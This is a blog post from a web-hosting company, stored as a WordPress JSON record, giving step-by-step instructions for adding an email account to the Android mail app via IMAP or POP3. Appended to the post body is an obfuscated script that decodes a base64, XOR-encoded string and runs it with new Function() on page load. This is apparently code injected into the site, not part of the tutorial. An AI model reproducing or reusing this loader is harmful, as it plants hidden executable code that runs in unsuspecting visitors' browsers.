{"id":1426,"date":"2021-06-11T00:55:30","date_gmt":"2021-06-10T19:25:30","guid":{"rendered":"https:\/\/devsoft.in\/blog\/?p=1426"},"modified":"2026-07-06T00:01:28","modified_gmt":"2026-07-05T18:31:28","slug":"set-up-email-in-android-using-imap-method","status":"publish","type":"post","link":"https:\/\/devsoft.in\/blog\/set-up-email-in-android-using-imap-method\/","title":{"rendered":"Set up email in Android email app using IMAP method"},"content":{"rendered":"\n<figure class=\"wp-block-gallery aligncenter columns-1 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img fetchpriority=\"high\" decoding=\"async\" width=\"1000\" height=\"532\" src=\"https:\/\/devsoft.in\/blog\/wp-content\/uploads\/2021\/08\/How-to-set-up-a-mail-on-android-using-IMAP-method.jpg\" alt=\"\" data-id=\"1447\" data-full-url=\"https:\/\/devsoft.in\/blog\/wp-content\/uploads\/2021\/08\/How-to-set-up-a-mail-on-android-using-IMAP-method.jpg\" data-link=\"https:\/\/devsoft.in\/blog\/how-to\/set-up-email-in-android-using-imap-method\/attachment\/how-to-set-up-a-mail-on-android-using-imap-method-2\" class=\"wp-image-1447\" srcset=\"https:\/\/devsoft.in\/blog\/wp-content\/uploads\/2021\/08\/How-to-set-up-a-mail-on-android-using-IMAP-method.jpg 1000w, https:\/\/devsoft.in\/blog\/wp-content\/uploads\/2021\/08\/How-to-set-up-a-mail-on-android-using-IMAP-method-300x160.jpg 300w, https:\/\/devsoft.in\/blog\/wp-content\/uploads\/2021\/08\/How-to-set-up-a-mail-on-android-using-IMAP-method-768x409.jpg 768w, https:\/\/devsoft.in\/blog\/wp-content\/uploads\/2021\/08\/How-to-set-up-a-mail-on-android-using-IMAP-method-310x165.jpg 310w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Android mail apps may look different across different devices, and these directions may not exactly match the options you see. Use these steps as a guide or consult the manufacturer&#8217;s help for your particular device.<\/p><\/blockquote>\n\n\n\n<p>In this article, we will guide you on how to setup an email in Android devices so you can easily check and manage your email account from any location.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Before You Begin to set up email in Android<\/h3>\n\n\n\n<ul class=\"has-background wp-block-list\" style=\"background-color:#fffad6\"><li>You will need your POP and SMTP settings to complete this tutorial. You can&nbsp;<a href=\"https:\/\/devsoft.in\/blog\/how-to\/find-your-email-settings-in-cPanel\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/devsoft.in\/blog\/how-to\/find-your-email-settings-in-cPanel\" rel=\"noreferrer noopener\">find your email settings in cPanel<\/a>.<\/li><li>If you previously created an email forwarder to your Gmail account, you will need to&nbsp;remove it. You can\u2019t receive emails if there\u2019s a forwarder in place.<\/li><li>We recommend using the secure (SSL) settings. Using&nbsp;SSL email settings is more secure&nbsp;as it encrypts the data while in transit.<\/li><\/ul>\n\n\n\n<p>In order to setup your email account on an Android device, the first thing you need to do is find your email account details. They are located on your CPanel dashboard.<\/p>\n\n\n\n<p>1. Log in to your&nbsp;<strong><a href=\"https:\/\/www.devsofthosting.com\/login.php\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/www.devsofthosting.com\/login.php\" rel=\"noreferrer noopener\">Devsoft account<\/a><\/strong>. Then, navigate to&nbsp;<strong>Emails -&gt; Email Accounts<\/strong>.<\/p>\n\n\n\n<p><strong>To configure email in Android device to work with your <a href=\"https:\/\/www.devsofthosting.com\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/www.devsofthosting.com\/\" rel=\"noreferrer noopener\">DevsoftHosting<\/a> e-mail account, follow these steps:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Tap&nbsp;<strong>Settings<\/strong>, and then tap&nbsp;<strong>Accounts<\/strong>.<\/li><li>Tap&nbsp;<strong>Add account<\/strong>, and then:<ul><li>To set up a POP3 account, tap&nbsp;<strong>Personal (POP3)<\/strong>.<\/li><li>To set up an IMAP account, tap&nbsp;<strong>Personal (IMAP)<\/strong>.<\/li><\/ul><\/li><li>In the&nbsp;<strong>Add your email address<\/strong>&nbsp;text box, type the e-mail address of the account that you created in cPanel (for example,&nbsp;user@example.com).<\/li><li>Tap&nbsp;<strong>MANUAL SETUP<\/strong>.<\/li><li>For the account type, tap&nbsp;<strong>Personal (POP3)<\/strong>&nbsp;or&nbsp;<strong>Personal (IMAP)<\/strong>.<\/li><li>In the&nbsp;<strong>Password<\/strong>&nbsp;text box, type the password for the e-mail account that you created in cPanel.<\/li><li>Tap&nbsp;<strong>NEXT<\/strong>. The&nbsp;<strong>Incoming server settings<\/strong>&nbsp;page appears.<\/li><li>In the&nbsp;<strong>Username<\/strong>&nbsp;text box, confirm the e-mail address that you typed in step 3.<\/li><li>In the&nbsp;<strong>Password<\/strong>&nbsp;text box, confirm the password that you typed in step 6.<\/li><li>In the&nbsp;<strong>Server<\/strong>&nbsp;text box, type the A2 Hosting server name for your account.<\/li><li>Tap&nbsp;<strong>NEXT<\/strong>. The&nbsp;<strong>Outgoing server settings<\/strong>&nbsp;page appears.<\/li><li>In the&nbsp;<strong>Username<\/strong>&nbsp;text box, confirm the e-mail address that you typed in step 3.<\/li><li>In the&nbsp;<strong>Password<\/strong>&nbsp;text box, confirm the password that you typed in step 6.<\/li><li>In the&nbsp;<strong>Server<\/strong>&nbsp;text box, type the A2 Hosting server name for your account.<\/li><li>Tap&nbsp;<strong>NEXT<\/strong>. The&nbsp;<strong>Account options<\/strong>&nbsp;page appears.<\/li><li>In the&nbsp;<strong>Sync frequency<\/strong>&nbsp;list box, select how often you want to synchronize the account with the device.<\/li><li>Configure the other account options:<ul><li>To receive notifications for new messages, select the&nbsp;<strong>Notify me when email arrives<\/strong>&nbsp;check box.<\/li><li>To synchronize messages, select the&nbsp;<strong>Sync email from this account<\/strong>&nbsp;check box.<\/li><li>If you are configuring an IMAP account, to download attachments when the device is connected to a Wi-Fi network, select the&nbsp;<strong>Automatically download attachments when connected to Wi-Fi<\/strong>&nbsp;check box.<\/li><\/ul><\/li><li>Tap&nbsp;<strong>NEXT<\/strong>. The&nbsp;<strong>Your account is set up and email is on its way!<\/strong>&nbsp;message appears:<ul><li>To change the account name, type the new name in the&nbsp;<strong>Account name (optional)<\/strong>&nbsp;text box.<\/li><li>To change the display name that appears on messages that you send from this account, type the new name in the&nbsp;<strong>Your name<\/strong>&nbsp;text box.<\/li><\/ul><\/li><li>Tap&nbsp;<strong>NEXT<\/strong>. The&nbsp;<strong>Accounts<\/strong>&nbsp;page appears.<\/li><li>To view the inbox for the new account, tap the home button, access the application list, and then tap&nbsp;<strong>Gmail<\/strong>.<\/li><li>Tap the&nbsp;<img decoding=\"async\" alt=\"Android - Settings icon\" src=\"https:\/\/www.a2hosting.in\/images\/uploads\/knowledgebase_images\/kb-chrome-settings-icon.png\">&nbsp;(settings) icon.<\/li><li>Tap the down arrow, and then select the new account. The inbox appears.<\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Host-Your-Own-Email\">Host Your Own Email<\/h3>\n\n\n\n<p>Professional Email for Power Users with Extra Storage<\/p>\n\n\n\n<p>Ever wanted to have your own custom email address?&nbsp;<a href=\"https:\/\/www.devsofthosting.com\/web-hosting\/enterprise-email-hosting.php\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/www.devsofthosting.com\/web-hosting\/enterprise-email-hosting.php\" rel=\"noreferrer noopener\">Click Here<\/a>&nbsp;to learn how.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"More-Information\">More Information<\/h3>\n\n\n\n<p>Need email hosting? A2 Hosting offers a variety of plans to meet your needs.&nbsp;<a href=\"https:\/\/www.devsofthosting.com\/web-hosting\/enterprise-email-hosting.php\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/www.devsofthosting.com\/web-hosting\/enterprise-email-hosting.php\" rel=\"noreferrer noopener\">Click Here<\/a>&nbsp;to learn more.<\/p>\n<script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script>","protected":false},"excerpt":{"rendered":"<p>Android mail apps may look different across different devices, and these directions may not exactly match the options you see. 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